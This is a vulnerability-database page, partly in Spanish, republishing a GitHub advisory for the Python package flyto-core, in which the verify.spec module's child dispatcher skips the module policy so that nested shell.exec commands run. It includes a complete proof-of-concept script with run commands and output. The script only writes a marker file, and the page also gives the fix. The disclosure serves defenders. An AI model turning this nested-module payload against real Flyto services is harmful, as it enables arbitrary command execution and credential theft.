llamaCVEVulnerability Intelligence
/
Advisory · GitHub · PyPI · flyto-core

GHSA-WMWJ-G59X-C8PX

verify.spec bypasses the module allowlist and dangerous-permission gate to execute arbitrary host commands

Parche disponible
Descargar PNG JSON
CVSS 3.1
9.9
Crítica
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche a -6 d de la divulgación
Exposición79 dDesde la divulgación, 1 sept 2026, 4:21 a. m.
Detección78 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Parche 2.31.1
Monitoreo
Detectada +1
26 ago 26
1 sept 26
18 nov 26
20 nov 26
26 ago 26
16 sept 26
8 oct 26
29 oct 26
20 nov 26
FechaFaseEventoDetalle
Remediación Parche 2.31.1 flyto-core · -6 d desde divulgación
Divulgación Publicada GHSA-WMWJ-G59X-C8PX divulgada · CVSS 9.9 (GitHub)
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
Summary

An authenticated Execution API caller can execute an otherwise denied module through the allowed `verify.spec` module. `verify.spec` accepts an inline ruleset containing attacker-selected source and target module identifiers. Its dynamic dispatcher instantiates the selected child module and calls `execute()` directly instead of the policy-gated `run()` method.

This skips both the module allowlist/denylist and the dangerous-permission check. In a strict configuration where `FLYTO_MODULE_ALLOWLIST=verify.spec` and no dangerous permissions are granted, a ruleset can still invoke `shell.exec` and run arbitrary operating-system commands as the Flyto service account. The proof of concept also writes outside `FLYTO_SANDBOX_DIR`, demonstrating that the impact crosses the workflow filesystem boundary.

Details

The policy enforcement point is `BaseModule.run()` in `src/core/modules/base.py`. Before dispatching a module, it calls `enforce_module_policy()` with the module identifier, declared permissions, and plugin identity.

The vulnerable child dispatcher is `execute_module_dynamic()` in `src/core/modules/atomic/verify/spec_runner.py`. It performs the equivalent of:

module_class = get_module(module_id)
instance = module_class(params, context)
return await instance.execute()

The attacker controls `module_id` and `params` through either `rules[].source` or `rules[].target` in the inline ruleset. Calling `execute()` goes directly to the child implementation and never reaches the policy code in `BaseModule.run()`.

The Execution API checks only the top-level module identifier before running it. `verify.spec` is allowed, so that check succeeds. The inner `shell.exec` identifier is not rechecked by the REST route, and the direct `execute()` call bypasses the process-wide backstop.

The security consequence is visible under both supported policy styles:

  • Default policy: a direct `shell.exec` request is rejected, while the same command nested in `verify.spec` executes.
  • Strict allowlist: with `FLYTO_MODULE_ALLOWLIST=verify.spec`, a direct `shell.exec` request is rejected, while the nested command still executes.
  • No `FLYTO_GRANTED_PERMISSIONS` value is present in either case.

This is a sibling omission in the same general class as an earlier nested-module policy fix. The current testing/warroom nested-step runner correctly uses `instance.run()`, but `verify.spec` still uses `instance.execute()`. The tested current release and current source retain this omitted call site.

PoC

The following `repro.py` is self-contained and benign. It starts the real Execution API on loopback, configures a temporary sandbox, verifies that direct `shell.exec` is denied, and then submits the same command through `verify.spec`. The command only creates a marker in the PoC's temporary directory, outside the configured sandbox; the temporary directory is removed when the test exits.

Requirements:

  • Python 3.12 or later
  • `flyto-core[api]==2.31.0`

Create `repro.py` with this complete content:

#!/usr/bin/env python3
"""Benign end-to-end check for the verify.spec policy bypass in flyto-core."""

from __future__ import annotations

import json
import os
import signal
import subprocess
import sys
import tempfile
import time
import urllib.error
import urllib.request
from pathlib import Path


PORT = int(os.environ.get("DSV_FLYTO_PORT", "18333"))
TOKEN = "flyto-dsv-local-test-token"
BASE = f"http://127.0.0.1:{PORT}"
EXPECTED_VERSION = os.environ.get("DSV_FLYTO_VERSION", "2.31.0")
STRICT_ALLOWLIST = os.environ.get("DSV_FLYTO_STRICT_ALLOWLIST") == "1"
EXPECT_BLOCKED = os.environ.get("DSV_EXPECT_BLOCKED") == "1"
RULE_BRANCH = os.environ.get("DSV_FLYTO_RULE_BRANCH", "source")
SOURCE_ROOT = os.environ.get("DSV_FLYTO_SOURCE_ROOT", "")


def request(path: str, body: dict | None = None) -> tuple[int, dict]:
    data = None if body is None else json.dumps(body).encode()
    req = urllib.request.Request(
        BASE + path,
        data=data,
        headers={
            "Authorization": f"Bearer {TOKEN}",
            "Content-Type": "application/json",
        },
        method="GET" if body is None else "POST",
    )
    try:
        with urllib.request.urlopen(req, timeout=90) as response:
            return response.status, json.loads(response.read())
    except urllib.error.HTTPError as exc:
        return exc.code, json.loads(exc.read())


def wait_ready() -> None:
    deadline = time.time() + 30
    while time.time() < deadline:
        try:
            status, body = request("/health")
            if status == 200 and body.get("version") == EXPECTED_VERSION:
                return
        except Exception:
            pass
        time.sleep(0.1)
    raise RuntimeError("server did not become ready")


def main() -> int:
    with tempfile.TemporaryDirectory(prefix="flyto-dsv-") as td:
        root = Path(td)
        sandbox = root / "sandbox"
        marker = root / "outside-sandbox-marker.txt"
        sandbox.mkdir()

        env = os.environ.copy()
        env.update(
            {
                "FLYTO_API_TOKEN": TOKEN,
                "FLYTO_SANDBOX_DIR": str(sandbox),
                "FLYTO_ALLOW_ABSOLUTE_PATHS": "false",
                "PYTHONPATH": os.pathsep.join(
                    value
                    for value in (SOURCE_ROOT, env.get("PYTHONPATH", ""))
                    if value
                ),
            }
        )
        env.pop("FLYTO_MODULE_DENYLIST", None)
        env.pop("FLYTO_MODULE_ALLOWLIST", None)
        if STRICT_ALLOWLIST:
            env["FLYTO_MODULE_ALLOWLIST"] = "verify.spec"
        env.pop("FLYTO_GRANTED_PERMISSIONS", None)

        command = (
            "python3 -c \"from pathlib import Path;"
            f"Path({str(marker)!r}).write_text('FLYTO-VERIFY-SPEC-POLICY-BYPASS')\""
        )
        if RULE_BRANCH not in {"source", "target"}:
            raise ValueError("DSV_FLYTO_RULE_BRANCH must be source or target")
        rule = {
            "name": "execute denied module",
            "source": {"keys": []},
            "target": {"keys": []},
        }
        rule[RULE_BRANCH] = {
            "module": "shell.exec",
            "params": {"command": command},
        }
        ruleset = {
            "name": "policy-bypass-control",
            "rules": [rule],
        }

        server_code = (
            "import uvicorn; "
            "from core.api.server import create_app; "
            f"uvicorn.run(create_app(port={PORT}), host='127.0.0.1', port={PORT}, log_level='warning')"
        )
        proc = subprocess.Popen(
            [sys.executable, "-c", server_code],
            cwd=sandbox,
            env=env,
            stdout=subprocess.PIPE,
            stderr=subprocess.STDOUT,
            text=True,
        )
        try:
            wait_ready()
            version_status, version = request("/v1/info")

            direct_status, direct = request(
                "/v1/execute",
                {"module_id": "shell.exec", "params": {"command": command}},
            )
            direct_blocked = (
                direct_status == 200
                and direct.get("ok") is False
                and "blocked" in (direct.get("error") or "").lower()
                and not marker.exists()
            )

            bypass_status, bypass = request(
                "/v1/execute",
                {"module_id": "verify.spec", "params": {"ruleset": ruleset}},
            )
            marker_value = marker.read_text() if marker.exists() else None

            result = {
                "package_version": version.get("version"),
                "policy_mode": "allowlist:verify.spec" if STRICT_ALLOWLIST else "default-denylist",
                "rule_branch": RULE_BRANCH,
                "version_status": version_status,
                "direct_shell_module_blocked": direct_blocked,
                "direct_response": direct,
                "bypass_http_status": bypass_status,
                "bypass_top_level_ok": bypass.get("ok"),
                "marker_outside_sandbox": marker.exists(),
                "marker_value": marker_value,
                "exploit_reproduced": marker_value == "FLYTO-VERIFY-SPEC-POLICY-BYPASS",
                "sandbox": str(sandbox),
                "marker": str(marker),
                "dangerous_permission_granted": "FLYTO_GRANTED_PERMISSIONS" in env,
            }
            print(json.dumps(result, indent=2, sort_keys=True))

            assert version_status == 200 and version.get("version") == EXPECTED_VERSION
            assert direct_blocked, "negative control failed: direct shell.exec was not denied"
            assert bypass_status == 200 and bypass.get("ok") is True
            if EXPECT_BLOCKED:
                assert marker_value is None, "patched control failed: command still executed"
            else:
                assert marker_value == "FLYTO-VERIFY-SPEC-POLICY-BYPASS"
                assert not str(marker).startswith(str(sandbox) + os.sep)
            return 0
        finally:
            proc.send_signal(signal.SIGTERM)
            try:
                proc.wait(timeout=10)
            except subprocess.TimeoutExpired:
                proc.kill()
                proc.wait(timeout=5)
            if proc.returncode not in (0, -signal.SIGTERM):
                output = proc.stdout.read() if proc.stdout else ""
                if output:
                    print(output, file=sys.stderr)


if __name__ == "__main__":
    raise SystemExit(main())

Install and run:

python3.12 -m venv flyto-poc-venv
. flyto-poc-venv/bin/activate
python -m pip install "flyto-core[api]==2.31.0"
python repro.py

To test the stronger explicit-allowlist case:

DSV_FLYTO_STRICT_ALLOWLIST=1 python repro.py

Expected security control:

"direct_shell_module_blocked": true

Observed bypass:

"policy_mode": "allowlist:verify.spec",
"dangerous_permission_granted": false,
"exploit_reproduced": true,
"marker_outside_sandbox": true,
"marker_value": "FLYTO-VERIFY-SPEC-POLICY-BYPASS"

The current release's `source.module` path was executed three times with the default denylist and three times with the strict `verify.spec`-only allowlist. All six runs reproduced. The equivalent `target.module` path also reproduced three times under the strict allowlist. As a fix control, changing the child call to `await instance.run()` prevented the marker in both policy modes.

Impact

This is an authorization and protection-mechanism bypass leading to arbitrary command execution. A caller who has only the Execution API bearer token, but was intentionally restricted to safe modules, can escape that module policy and execute commands with the privileges of the Flyto process.

An attacker could:

  • read service credentials, API keys, configuration, and workflow data available to the process;
  • modify application code, workflows, stored data, and writable configuration;
  • destroy files or stop the service;
  • make network connections and pivot using the service's network access;
  • persist through writable startup files or application components; and
  • bypass `FLYTO_SANDBOX_DIR` for filesystem effects performed by the command.

The attacker needs a valid Execution API bearer token and a reachable Execution API. No additional dangerous-permission grant, user interaction, or private-network setting is needed. Deployments that keep the API exclusively local and give the token only to fully trusted host administrators have a narrower practical exposure.

Suggested remediation

Route dynamically selected child modules through the same mandatory policy entry point:

return await instance.run()

As defense in depth, recursively inspect module identifiers embedded in `verify.spec` rulesets at the REST Execution API and workflow boundaries, applying both the module filter and declared-permission checks before execution. A registry-wide regression test should also fail whenever code dynamically selects a module and invokes `execute()` directly instead of the policy-gated dispatcher.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:L
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:C
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:H
AltoBajoNinguno
DisponibilidadA:H
AltoBajoNinguno
Versiones

Rangos afectados

Afectada Corregida Última
flyto-core≥ 2.2.2 < 2.31.1
2.2.2
2.31.1
2.41.0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
pypiflyto-core
Corregida 2.31.1 -6 d 2.41.0 no afectada
Versiones corregidas2.31.1
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/flytohub/flyto-core/security/advisories/GHSA-wmwj-g59x-c8px

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.